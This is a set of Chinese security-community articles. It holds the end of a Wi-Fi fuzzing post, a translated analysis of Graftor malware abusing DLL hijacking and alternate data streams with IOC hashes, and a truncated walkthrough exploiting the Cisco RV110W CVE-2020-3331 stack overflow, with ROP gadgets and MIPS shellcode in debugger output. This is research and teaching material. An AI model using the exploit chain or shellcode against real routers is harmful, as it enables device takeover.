没办法，802.11的fuzz能表示出来的就这么点东西，也许有更难的我没看到，还有一些是驱动层的东西，但我不太会，也不着重看过。
### 关于wifuzzit
例如还有个工具，<https://github.com/bullo95/WiFi--/tree/master/wifuzzit>
这个工具发现了好多如Atheros驱动 CVE：
* Cve-2006-6332 其中这是一个远程代码执行漏洞，是关于madwifi的802.11的堆栈溢出。
* Cve-2009-0952 它错误出现在可以在一个无线接入点发送恶意的管理帧。可以攻击任何未经身份验证的基于EAP 的WPA/WPA2 WPA2-EAP的无线设备。Netgear 与Atheros芯片都受到了影响。
* CVE-2009-0052 这也是一个关于Atheros的无线驱动程序的漏洞，该漏洞可导致用户拒绝服务（设备重启或直接挂掉）
其实真的还有很多东西没写出来。就在脑子里，也真是不知道咋写出来了。可能是太懒了，人一呆着就容易有惰性啊。有想交流的可以一起交流。
也非常感谢在 unicorn Team的两个月，时隔一年整，短短两个月我看到了自己的不足，也让我更清晰了方向，回来努力补过。感谢 Ir0smith
Sweeper 在当时对我的各种方面的帮助。我至今还记得我去的第一天，Sweeper让我看了Vivek
Ramachandran的视频，当时没放心上，后来看了之后也挺困难的，印度方言，很是雷我。不过看了好几遍连续，看懂之后受益匪浅。再次感谢帮助过我的人。 | 社区文章 |
# 【木马分析】利用微软签名文件加载的Graftor变种分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.cylance.com
原文地址：<https://blog.cylance.com/graftor-variant-leveraging-signed-microsoft-executable>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[興趣使然的小文](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：190RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
DLL劫持如今已不是一项新技术，但这并不影响这项技术的有效性。当一个经过微软签名的普通PE文件被设置为Windows的每日计划任务时，包括IT人士在内的大多数人通常会认为这不过是微软为保证操作系统正常运行而设置的计划任务之一而已，然而这种感觉并非总是正确的。
Cylance最近观察到了Graftor家族的一个变种，该变种利用微软SrcTool.exe工具进行恶意活动。SrcTools是微软签名的一款工具，容易受到路径加载顺序拦截形式的DLL劫持攻击。它在运行时动态加载了DbgHelp.dll这个文件（DbgHelp.dll在各个版本的Windows中都存在），当恶意DLL使用了与DbgHelp.dll相同的文件名，且设置了相同的导出函数时，只要放置在合适的DLL搜索目录中，就可被SrcTools优先加载。
该恶意软件外在表现与木马一致，仅仅是实现了SrcTool所需要使用的基本函数，劫持这些函数，并将SrcTool的初始化指令替换为自己的恶意代码，以试图对抗在静态及动态层面上对它分析。
**两个DbgHelp.dll的比较分析**
原始DbgHelp.dll与恶意DbgHelp.dll的不同首先表现在两者大小的不同。标准Windows 7
SP1系统上DbgHelp.dll的大小超过800KB，而恶意DLL的大小仅仅为23到24KB（如图1所示）。
图1. 正常Dbghelp.dll（左图）与恶意DbgHelp.dll（右图）的大小对比
原始DLL要满足很多程序的调用需求，因此导出函数数量众多，恶意DLL只使用了部分导出函数。原始DLL包含206个导出函数，与此同时，恶意DLL仅有22个导出函数，且使用了一个原始DLL中不存在的导出函数名“DLLMain(x,x,x)”（如图2红色高亮部分所示）。这足以说明恶意DLL目的并不在于实现原始DLL的所有功能。
图2.正常DLL（左图）与恶意DLL（右图）导出函数的对比
恶意DLL的导出函数名可以作为指纹索引，引导我们发现该恶意DLL所劫持攻击的目标。SrcTool.exe所使用的函数正是恶意Dbghelp.dll所导出的那些函数名（如图3所示），因此这个恶意DLL的目的就是当系统在搜索SrcTool依赖库时，覆盖掉最基本的那些函数。通过下文的分析，我们可以得知，SrcTool仅有的作用是被恶意DLL当成一个中间跳板，它本身的代码根本没得到机会运行。
图3.SrcTool.exe所导入的Dbghelp.dll的函数（左图）
与恶意Dbghelp.dll所导出的函数对比（右图）
**恶意代码调用**
所有DLL劫持的目的都是获得代码执行机会，有各种各样的方法能达到这个目的。本文分析的这款恶意软件采用了一种相当粗暴直接的办法，就是直接覆盖加载进程的入口点。对比两份DLL文件入口点函数，可以看出两者在代码流程上的一个重大不同。如图4所示，恶意DLL代码在返回调用函数前，调用了另一个函数，这个函数内部相当复杂，但最终的结果就是调用图2中高亮的DllMain函数。
图4.恶意DLL（左图）与正常DLL（右图）入口点对比
DllMain函数首先判断fwdReason的值，若等于1则将堆栈变量设为MaliciousFunction的偏移量，随后调用OverwriteEntryPoint（如图5所示）。OverwriteEntryPoint开启一个子线程，查找载入进程的入口点，并用JMP（0xE9）指令将其覆盖到栈上传递的恶意函数地址（如图6所示）。经过这一系列动作，当系统调用Srctool并完成相关依赖项加载后，恶意函数就会被运行。
图5. 恶意DLL的DllMain函数
图6. 恶意DLL的OverwriteEntryPoint函数
**MaliciousFunction代码分析**
对MaliciousFunction进行分析后得知，该函数试图获取控制台窗口的句柄（假设Srctool运行时该控制台存在），最小化控制台窗口以隐藏其恶意行为，随后该函数将某局部变量作为文件名加以硬编码（如图7所示）。恶意软件作者将该值逐一字节赋值的原因是想进一步对代码加以混淆。
图7. ADS中数据的混淆与执行
硬编码的文件名使用了一种备用数据流（ADS，alternate data
stream）的命名法，这种方法通常是操作系统处理核心文件I/O例程的常用办法，这是一个很好的隐藏技术。备用数据流的文件与正常文件相比没有任何区别，除非刻意去寻找，否则用户或管理员永远不会注意到这种ADS文件。
一旦函数从流中读取到数据，它会对字节进行反混淆（如图8所示），最终在堆上分配内存并从该数据执行相应代码。因为许多安全工具会自动检查ADS文件并扫描所找到的内容，因此数据的混淆是必要的。所使用的混淆方法会舍弃任何文件类型以及字符串检查。恶意代码最终以ExitProcess的调用作为结束，没涉及到SrcTool的功能，因此SrcTool的作用仅仅是被当作恶意代码的掩护载体。
图8. ADS中数据的混淆与执行
**结论**
虽然Dbghelp.dll明显是恶意的，但如果没有具备几个关键的环境条件，没有SrcTool以及ADS文件中的有效载荷，这个DLL并不能进行恶意活动。对SrcTool的使用似乎只是存粹的载体伪装，以便设为计划任务运行或在启动时运行。作为一个签名的可执行文件，这种行为并不引起大多数用户或者IT人士的关注。
因为缺乏ADS文件中有效载荷，我们无法确定这个恶意软件的最终目的，但我们仍然可以得出结论，就是这种非常优秀的持久化机制可以方便恶意软件隐蔽自身行为。
**防御措施**
不幸的是，DLL劫持跟多的是可执行文件本身在实现逻辑上的缺陷，因此用户端的防御措施并不是特别有效。唯一的防御措施是确保SafeDllSearchMode选项被正确配置启用，通常情况下，所有支持的Windows版本上都默认启用了该功能。此外，相对于默认的DLL搜索顺序而言，软件开发者可采用绝对路径搜索的方式以减少受到DLL劫持的风险。
ADS文件中的随机数据虽然可能是某些恶意活动的外在表现，但因为ADS文件被操作系统作为NT文件系统的核心功能以各种方式加以利用，因此ADS文件的存在并不能作为恶意软件存在的判断依据。
**攻击指示器（IOCs，Indicators of Compromise）**
## SHA-256哈希值
02FBC1019C1C5BB7A424D473F6507D69201B15DF50FB99599EFD7FE3C54B5DA8
14ADEBC453CB40142DA98CD562A08ED66ECE45DD1D77F4340972C391FBEE6C59
2AF9C1CD31091E04D56AB64A1E08B84C6964B675D76FC0A591C28470A63469F4
2B42203DE5E328D6064401F3E1D6546BA05925D76D8EAB4FC4B2B1CD2A69562B
2D6B2D1A1FF61DC6127F5BC1A2CE284CC48F6B3768B307A237F91014CA0AF327
31547B1FD319F9EA29029AD5AD832B3C5FBDF32B8C85AA326F3DF02F993F2F2D
31FF6C377CEDF8E2F284B93E05BF747E68DA19EE8784D0AB99B28E1CA7B9B12F
3ADEA819A24300DF8DAB9D416F1717D21B1AD7608EF54FE497E7303CE79EF11F
3CE90A26BE7509EB69BEFDD3F24DA2821914151506392FEB2C7600B33CF0C1C7
3FA6EB80D93F05FEE54646B0BD6EB96920A82D66B687079697A0589C304AE2B6
450A8BFC15F4535AD088538B1A6A0EB0918A6C414DBE2957E982BDC67C45F2EA
471C78BD59AA9C1F0B972587C42F96E36F8C324BB758C68398ACAE40295AEB58
4E05CBD540D875DC4355FF535750DEF9992F1A346FB4617BD210E9BD88EB4A51
509C12031C15AD53B6D940060B286E9BFDA9B2FAEE4CC2B2B3D0E17E619AD76D
53E5CF1D96F9775696F3B00D5ACBDB46FA9304B437DF07A5FA6A0BAD85A61E86
55E653BF7EB4B0A6D746D0E4ADC71A798AA45241D08E9658C2A870FE6CF955B1
5AF409489C14A8D5CE83CD7EA0C9D5B24E1CA4F2122E16A1225A7E69211E9FB4
5D2BBE85FC476488E5D5CD5FF969A9670E0A8114817C35075D5C4098CB80C376
60FBDAE2F9DC8294D5628B656A5999AEB9EE6198781CB3F2450B9D50294400AB
66DAD7C7831C79040D04A4E5F8749D5763B994F9A3FAA085583E84E613BB4FFC
69BFD92E888EEDA8912ABB573424A50AB4E964F9C0630B618A247CCC75F20A35
6AE915C365579FAAA5695DB6050BA8D40B10D86A6BE86964CE87EDAF6EA03154
73ADD65DB1F824EC696C7756F1BF0014F52A00361876487070189BD4994729F0
747EE7DD649C07693AF284741BD1AB7870C433BCBF13C6B3EB2CE88A6E1DFD93
7F1C6B4E4D15B67DD8CA8F68EC14E00613656F9BB428B7F85CB328CC32B1A4DC
820FB00A650E13F6765645D7DCFACF13BA73853ACF260F5A20220CA780C48D39
876D83C3B1A5A2BCA55176A6BC739213AD0B6039A0ECB03613A05ECDA0CE5914
8772C2BC70174A81E9DA222B7D3ADDC1124B1589495EF67CF2727F2B518CAACF
92FE8C00F8BD98A858B4AC6DAE69FC4D0AEDBF7F0DE703DF02EC95461175C463
947E673CBF5157FC17CD81B650A8BCCD3F598589F3D55F416616CF58F4F9087E
955D09A47A5EF81024BAF4FF1F456FCF5C2F7AE73335D9EDE4E5294AF25F403D
99D3ACAE2779EE5C42B68DBF35A851529F00C191E8694D6910E050722E4E0318
9D83C8625E81F5454396184ACFC536AF29B33838D0327A0BE8E6805631911CE0
A2B62168B6365592FAEB56171A3DFE08691AF5BEBC7585F2D67B997591DD2422
A55C036CDF0D35B54A0E921B9BAC3FF2B34BF0BAC21B1CB6E44C9A63C6C32F91
A5EB757AAABDB4FE2F9C65014F4901AE5C14893B8D39B43FD4D37610C120ACE8
A61FA48DE7682C975FFD46E4A2DC16BC244DBF286049D9C082966373740EE395
A7D50571B7764C66CF7FF7E2D039E82A2C1C5B1D78400AEC1037820956A915DF
A876198B78E9662F6AE69206BD36DD2C78031D976BBF2BB88FF9D307B76DE068
A90C1F2245D5631D5804B87D4C5F36C085B90137E1263F4BA22D6D0D67C5EAD4
B58924EC4A76B807CEE08AFE7948C812163038ADC6C5D4221AFAEDBE9BAB096A
B7A294E3BEE5BCF4730F31F0ECB8639255BFFE0A1474F4334E155C2BD35BC27F
BAA7895FFEE85B15B96DFFCD2B7CB99CD4A75EEC3A6DF4A355B80EE38893F5FD
BD756F9A0631C1770A3B1CCC6A75848E6C3A4849AA7F379ECDC019AD8F3BD1CC
BDE84338A10B9CD160E0ADA5660552F925F4C07B1DFC53A59FAC0CB60EFD26BF
BFE2C9344E81A422CC9FB592475E942CD4DF673B33D0538566D914982008FD88
C4FD83B9C7818F5C2F620701A7E460C16A9C09A424B133A9B42477F127A095A3
C7E7D5925DDA7BE16CC1491192BA408F783DFED86F1A2CE67F74863C39EE4853
CB3794EC3B53993C505C371E7DC1C4468FECC9C5D67F60355C1B0E408AE35F6E
CC14C1B87E8F064AE5535E0A3D43650EB0DA04D67D9B948B143E67D673BB51D9
D3B4EBD893F6288BDB85F6EAF0FAF2C547C9A055BE5D684D91F621BC4DB50380
DD3C9C034324816B1A481EDF412FC8F80C4972503226CC4B60A1B105D2529F21
DFD4918D8E8ECC00E43D1A4FA962ADB8C0FA8D8EA0D984AB842EEC52647508ED
E22FE9DF7CDF9DFFDDA7F771B4C3C6F979BC1407D84C1D55FC765C3807FCB14A
E350698FD4074C40D696AA6FCFBCFD71423445802BA56A922DC2972E6F21173B
E4667D623BBC441927A6AEFD195A95D91DC95E08B5484703E9E47CDCC73A9219
E8CE5E24DBD934AA04490033C9FA8E25B7941766C0CFD51ABB79ECC013811251
ED4C64AAEB1328870677395C0B8C315CEB931B5C18BD7871ADE8AE1249F8B77F
F27E7C2AEFB5D193CCC5B89CE5CA3B7B9BDC4C9ED25EEAAEB1191712F069F0F4
F90362494020D12A2B3173DA6EBB86773F9318C712C15DCA9602465AE27B9371
FE5B96AA6E96C73BB785982BE3CA845177809BE0FE0180B567ABBD677E7BA711
## 文件名
qmQquY:FSHxIzZPu53gRHmbxVpqc
QJYtZO:wCVUH5xFhQ7L8r
iTcbnj:Gibb9Y9KKuwvlV8AYjvCPjCvC23A
t0LDyy:Om4q3n0Y2UPQJS
CfXehY:yHhV6Umvim2oVV6GvW7dBcVwV8Yz
g9pznO:q6rtdx7KvtfYQ8jnGbbgsReje6WN
duqVdl:1T0KdhsgPyoJ0YmDTf
Ett4fk:fRKTiowtfthpTOma23i5jGls1
DsbIAy:j72z5bk0xeAKApATOZCxUvYbb
yPk3bD:SUfDRlI5AT1ZhMaRhB82ZrjC
SbwPZI:bgJqayyiGS8CMZU5wNiGP53u8tLh
hzYZqE:3stZ6hwUYYfsQU
GATazM:mVR8LbxqZK8
46If2c:SHo5ujOfk
1UxBZ0:6qg2CrT1mysZQYaxIe
cPAyKU:o2CSWOTnStUNfXcew52cAidTcP
evLAEp:UxrqTeoxS7NXVvjIaUO5
6auL84:3R9m6zdnOGmn2gwCRymnpqCRiqGArWq
it0H8N:bErumpDkfy
YijER1:oXeGwCme0s
2O7AnX:TgVdArb
CKHPX1:fPfSGwLWDpfGXAaSakFY2CnAxe3S
RqGh8V:sJDjNmh5mqjVWPwttn9EZ5xs3M
znsZzb:nSOcEwhS3
AVOxiq:xYO6YxlnGXRCFKCN4KXW9FDOhUuhY1
4eAdXu:cNbIS649mjGUJ
MXXua7:NPZhR9q9fJ
54jrcv:nhUYkKdtx5f1fbtEvK4SbDvxjzH0j2
x0fgzd:TreEvLuss7RaKon
tQnYEz:nESdg4T1ytZj5fVVvygmjn
5U8HPW:lIUEf9wuYIgnQwtyeQh
SHa4OE:ZlUAkVEmKO
q4OBw9:6uUat37t
W8VkwP:xZ0OGjLGBYD7rsbNAxrSBp5lXPM
frVV4j:aDV5BEnlnZ16YPvEjH8H4vPwNb956MC
3brH7X:J9hGIYnGul8Mayj
48g10c:zDbLju6OTP5Uh9fEqN3vkg
Wkg8i8:gnUCkJhXLXnO765jlpFu0yiem
0SIDDy:ZzlBgOAm08Z5UT2uz5kRbt9VGhwgtoNe
4hdVCq:OuR75ogoDV
DQmiZP:H4t1rfGSWPbRJo
EyvB7C:lUJUeODp5F4ThaA6NWt
AAaWxW:PF2xTyyCZJKZQw74kZgUn
hH18UT:e2ChiKKBfT4A
nPXhf3:wmOt8ItIlmjNI6fmGbgzKw
0H7cgO:b90CHGl6L0FLe6EcqNTt1sYdC
pQrfsY:qo77f8ZdGjof9G0mnvYn
Lpf2Bw:dX5C5zmZ7lHvAasq1adk6lJsf
5I6rwI:zVXuAhKz1Hb
InA4KS:10v05t9TVG8AXGWss
u8Pu1Q:52SGgJDVF2H
AUndFX:Z5oNzEHJedrOuFj7jbFh
nEn6fk:u5FELEogUb0fqnHYLQZOITlFsM
SU5jzH:gZoErLYyp6SPboG0RCx942QeZX
TFJmBo:WkaTSvo0C
ifZmRA:4qA5KBVhTohQNMmer1m
RDG2Xs:3OxZHUcWlooLLbVKv
YpZWy7:qP04TQLIgdAbGGt
Tj0t2b:C5vTIuAaA5oNHj9kv2zwMn
p8EK7F:Rl69
5XMaVZ:7bhV | 社区文章 |
# 思科RV110W CVE-2020-3331 CVE-2020-3323漏洞分析
作者：lxonz@白帽汇安全研究院
此次分析是基于轩哥的文章 <https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/>
，同时因为轩哥用的是实机，很多师傅可能不想入手路由器，因此我这篇文章是针对路由器的httpd进行hook在通过qemu-system模拟启动，我整理好的环境已经上传至
<https://hub.docker.com/r/vulshare/cve-2020-3331>，有需要的师傅可以自行下载，并且如果想一键生成环境的话，可以来
<http://vulfocus.fofa.so/>，启动过程可能会比较长，估摸着6分钟以内，耐心等一下~
docker pull vulshare/cve-2020-3331:lxonz
docker run -itd -P vulshare/cve-2020-3331:lxonz
## 本地环境部署
**本地环境搭建遇到的几点问题：**
**1.因为没有nvram所以不能成功启动，因此需要hook**
**2.建立交叉编译环境，将代码作为共享库编译**
从调试到封装成docker的周期比较长，有些技术细节记得不太清了，可能文章思路有点跳跃，有问题的地方读者指出就好，我这边修正。
本次调试环境：1.vmlinux-3.2.0-4-4kc-malta
2.debian_wheezy_mipsel_standard.qcow2
下载地址：<https://people.debian.org/~aurel32/qemu/mips/>
qemu启动参数：
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
因为实际环境也是没有aslr的，所以在这里我们直接关掉，否则没有办法泄露libc。
关于基本的环境搭建的具体部分可以去参考我之前的一篇文章<https://nosec.org/home/detail/4634.html>
chroot squashfs-root sh
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/
这里如果我们单纯的启动./http是起不来的，因为我们没有nvram，过不了他的检查，所以在这里我采取的hook的方法，将他的nvram_get
hook掉，即可启动，目标平台是mipsel所以我们需要使用buildroot来搭建一个交叉编译的环境。
sudo apt-get update
sudo apt-get install libncurses5-dev patch
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make clean
make menuconfig
****
进到Target options这里面之后我们需要选他的架构和大小端序
在toolchain里选择kernel版本uname -a看一下可以了，然后保存退出
然后直接make -j8编译即可然后会生成一个output文件夹，进去找output/host/bin 运行mipsel-linux-gcc
--version
mipsel-linux-gcc --version
mipsel-linux-gcc.br_real (Buildroot 2020.08-947-ga2b344a) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
有版本回显就可以了，我们一会通过这个交叉编译我们的nvram_get。
最后将这个路径写入.bashrc
export PATH=~/buildroot/buildroot/output/host/bin:$PATH
后面就可以愉快的调用了
## hook nvram_get
v34 = (char *)nvram_get("lan_ifname");
if ( !v34 )
v34 = "";
v35 = (char *)nvram_get("lan_ipaddr");
if ( !v35 )
v35 = "";
v36 = (char *)nvram_get("http_client_ip");
if ( !v36 )
v36 = "";
v37 = (char *)nvram_get("lan_hwaddr");
if ( !v37 )
嵌入式应用程序通常通过共享库与NVRAM交互。该库又与包含设备当前配置设置的MTD分区接口交互。如果没有NVRAM配置数据，许多程序将无法正常运行，
**需要我们拦截NVRAM库调用并返回有效数据** ，以便在Qemu中正确执行应用程序
如果我们不进行hook的话，到达漏洞触发点，会发现V0-T9没有任何值
0x77fb2a84 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x0
A0 0x0
A1 0x0
A2 0x0
A3 0x0
T0 0x0
T1 0x0
T2 0x0
T3 0x0
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x0
T9 0x0
S0 0x77aa7050
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x7fff6f40 ◂— 0x1
PC 0x77fb2a84 ◂— bal 0x77fb2a8c
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77fb2a80 move $t9, $ra
► 0x77fb2a84 bal 0x77fb2a8c
↓
0x77fb2a8c lui $gp, 5
0x77fb2a90 addiu $gp, $gp, -0x3a7c
0x77fb2a94 addu $gp, $gp, $ra
0x77fb2a98 move $ra, $t9
0x77fb2a9c lw $a0, -0x7fe8($gp)
0x77fb2aa0 sw $a0, -0x7ff0($gp)
0x77fb2aa4 move $a0, $sp
0x77fb2aa8 addiu $sp, $sp, -0x10
0x77fb2aac lw $t0, -0x7fe4($gp)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff6f40 ◂— 0x1
01:0004│ 0x7fff6f44 —▸ 0x7fff6fea ◂— '//bin/sh'
02:0008│ 0x7fff6f48 ◂— 0x0
... ↓
04:0010│ 0x7fff6f50 ◂— 0x10
05:0014│ 0x7fff6f54 ◂— 0x0
06:0018│ 0x7fff6f58 ◂— 0x6
07:001c│ 0x7fff6f5c ◂— 0x1000
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 77fb2a84
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gdb-peda$
<https://blog.csdn.net/qq_21063873/article/details/103037515这篇文章有大致介绍基于qemu的nvram仿真>
通过ida看它的httpd，nvram_get在获取各种环境的值，如果我们给它lan_ipaddr写死了是不是就可以了？nvram_get只传了一个参数
#include <stdio.h>
#include <string.h>
char *nvram_get(char *key)
{
char *value = NULL;
if(strcmp(key, "lan_ipaddr") == 0)
{
value = strdup("127.0.0.1");
}
printf("nvram_get(%s) == %s\n", key, value);
return value;
}
mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so
我们将此代码作为共享库进行编译
回到qemu里执行命令
chroot squashfs-root sh
export LD_PRELOAD="./nvram.so" && ./httpd
nvram_get(http_settimeouts) == (null)
nvram_get(http_settimeouts_usec) == (null)
nvram_get(http_debug) == (null)
出现这三个代表启动成功
还有一种思路是通过nvram_faker启动<https://github.com/zcutlip/nvram-faker>
它提供了编译不同架构的脚本，hook思路大同小异，也可以拿这个来进行启动
## 漏洞分析
漏洞点在guest_logout.cgi的sscanf
v10 = (const char *)get_cgi((int)"cip");
v11 = (const char *)get_cgi((int)"submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v29, 0, 0x40u);
memset(v28, 0, sizeof(v28));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
v17 = fopen("/dev/console", "w");
v18 = v17;
if ( v17 )
{
fprintf(
v17,
"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",
5449,
v11,
v29,
v28);
fclose(v18);
}
sscanf这里起到了一个正则的作用，v11是我们需要匹配的字符串，%[^;];%*[^=]=%[^\n]是匹配规则，V29存的是%[^;]匹配到的值，V28存的是%*[^=]=%[^\n]
%[^;]：分号前的所有字符都要
;%*[^=]：分号后，等号前的字符都不要
=%[^\n]：等号后，换行符前的所有字符都要
v11 = (const char *)get_cgi((int)"submit_button");
v5 = (const char *)get_cgi((int)"cmac");
v6 = (const char *)get_cgi((int)"cip")
断点下在已经覆盖了ra的位置
b *0x431b60
V0 0x0
V1 0x73
A0 0x4d81f0 (post_buf+64) ◂— 0x75746174 ('tatu')
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x77a984d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0 //jmp $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff1348 ◂— 0x61616161 ('aaaa')
SP 0x7fff1260 —▸ 0x47c14c ◂— 'http_client_ip'
PC 0x431b60 (guest_logout_cgi+872) ◂— jr $ra
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x431b4c <guest_logout_cgi+852> lw $s3, 0xcc($sp)
0x431b50 <guest_logout_cgi+856> lw $s2, 0xc8($sp)
0x431b54 <guest_logout_cgi+860> lw $s1, 0xc4($sp)
0x431b58 <guest_logout_cgi+864> lw $s0, 0xc0($sp)
0x431b5c <guest_logout_cgi+868> move $v0, $zero
► 0x431b60 <guest_logout_cgi+872> jr $ra <0x77a8f7a0>
↓
0x431b68 <guest_logout_cgi+880> lw $t9, -0x7cc0($gp)
0x431b6c <guest_logout_cgi+884> nop
0x431b70 <guest_logout_cgi+888> jalr $t9
0x431b74 <guest_logout_cgi+892> move $a0, $s2
**可以看到此时ra寄存器的值已经是0x77a8f7a0 就是jalr $s0，$s0也被我们提前布置好了地址**
，覆盖到PC可以通过cyclic算出来，但覆盖到S0需要自己去手动调试，慢慢找它的偏移。
V0 0x0
V1 0x73
A0 0x4d81f0 (post_buf+64) ◂— 0x75746174 ('tatu')
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x77a984d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff13a0 ◂— 0x109090c
SP 0x7fff1348 ◂— 0x61616161 ('aaaa')
PC 0x77a8f7a0 (fclose+304) ◂— addiu $a0, $sp, 0x18
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
► 0x77a8f7a0 <fclose+304> addiu $a0, $sp, 0x18 <0x4d81f0>
↓
0x77a8f7a8 <fclose+312> jalr $t9
0x77a8f7ac <fclose+316> addiu $a1, $zero, 1
0x77a8f7b0 <fclose+320> lw $gp, 0x10($sp)
0x77a8f7b4 <fclose+324> lhu $v0, ($s1)
0x77a8f7b8 <fclose+328> andi $v0, $v0, 0x4000
0x77a8f7bc <fclose+332> beqz $v0, fclose+360 <0x77a8f7d8>
0x77a8f7c0 <fclose+336> lw $a2, -0x778c($gp)
0x77a8f7c4 <fclose+340> lw $t9, -0x77ac($gp)
0x77a8f7c8 <fclose+344> jalr $t9
0x77a8f7cc <fclose+348> lw $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 0x61616161 ('aaaa')
... ↓
06:0018│ 0x7fff1360 ◂— 0x2804ffff
... ↓
**这里是把$sp+0x18的位置给a0寄存器，也就是我们要跳的最后位置**
Python 2.7.12 (default, Oct 5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(hex(0x7fff1348+0x18))
0x7fff1360
看了下地址0x7fff1360没毛病
gdb-peda$ x/20wx 0x7fff1348
0x7fff1348: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fff1358: 0x61616161 0x61616161 0x2804ffff 0x2804ffff
0x7fff1368: 0x24020fa6 0x0109090c 0x28041111 0x24020fa6
0x7fff1378: 0x0109090c 0x240cfffd 0x01802027 0x24020fa6
0x7fff1388: 0x0109090c 0x240cfffd 0x01802027 0x01802827
gdb-peda$ x/20wx 0x7fff1348+0x18
0x7fff1360: 0x2804ffff 0x2804ffff 0x24020fa6 0x0109090c
0x7fff1370: 0x28041111 0x24020fa6 0x0109090c 0x240cfffd
0x7fff1380: 0x01802027 0x24020fa6 0x0109090c 0x240cfffd
0x7fff1390: 0x01802027 0x01802827 0x2806ffff 0x24021057
0x7fff13a0: 0x0109090c 0x3044ffff 0x24020fc9 0x0109090c
gdb-peda$ x/20i 0x7fff1348+0x18
0x7fff1360: slti a0,zero,-1
0x7fff1364: slti a0,zero,-1
0x7fff1368: li v0,4006
0x7fff136c: syscall 0x42424
0x7fff1370: slti a0,zero,4369
0x7fff1374: li v0,4006
0x7fff1378: syscall 0x42424
0x7fff137c: li t4,-3
0x7fff1380: nor a0,t4,zero
0x7fff1384: li v0,4006
0x7fff1388: syscall 0x42424
0x7fff138c: li t4,-3
0x7fff1390: nor a0,t4,zero
0x7fff1394: nor a1,t4,zero
0x7fff1398: slti a2,zero,-1
0x7fff139c: li v0,4183
0x7fff13a0: syscall 0x42424
0x7fff13a4: andi a0,v0,0xffff
0x7fff13a8: li v0,4041
0x7fff13ac: syscall 0x42424
这里是比较关键的一步在栈顶+0x18的位置，将shellcode的第一条指令多写了一份，因为在调试的过程中发现，slti
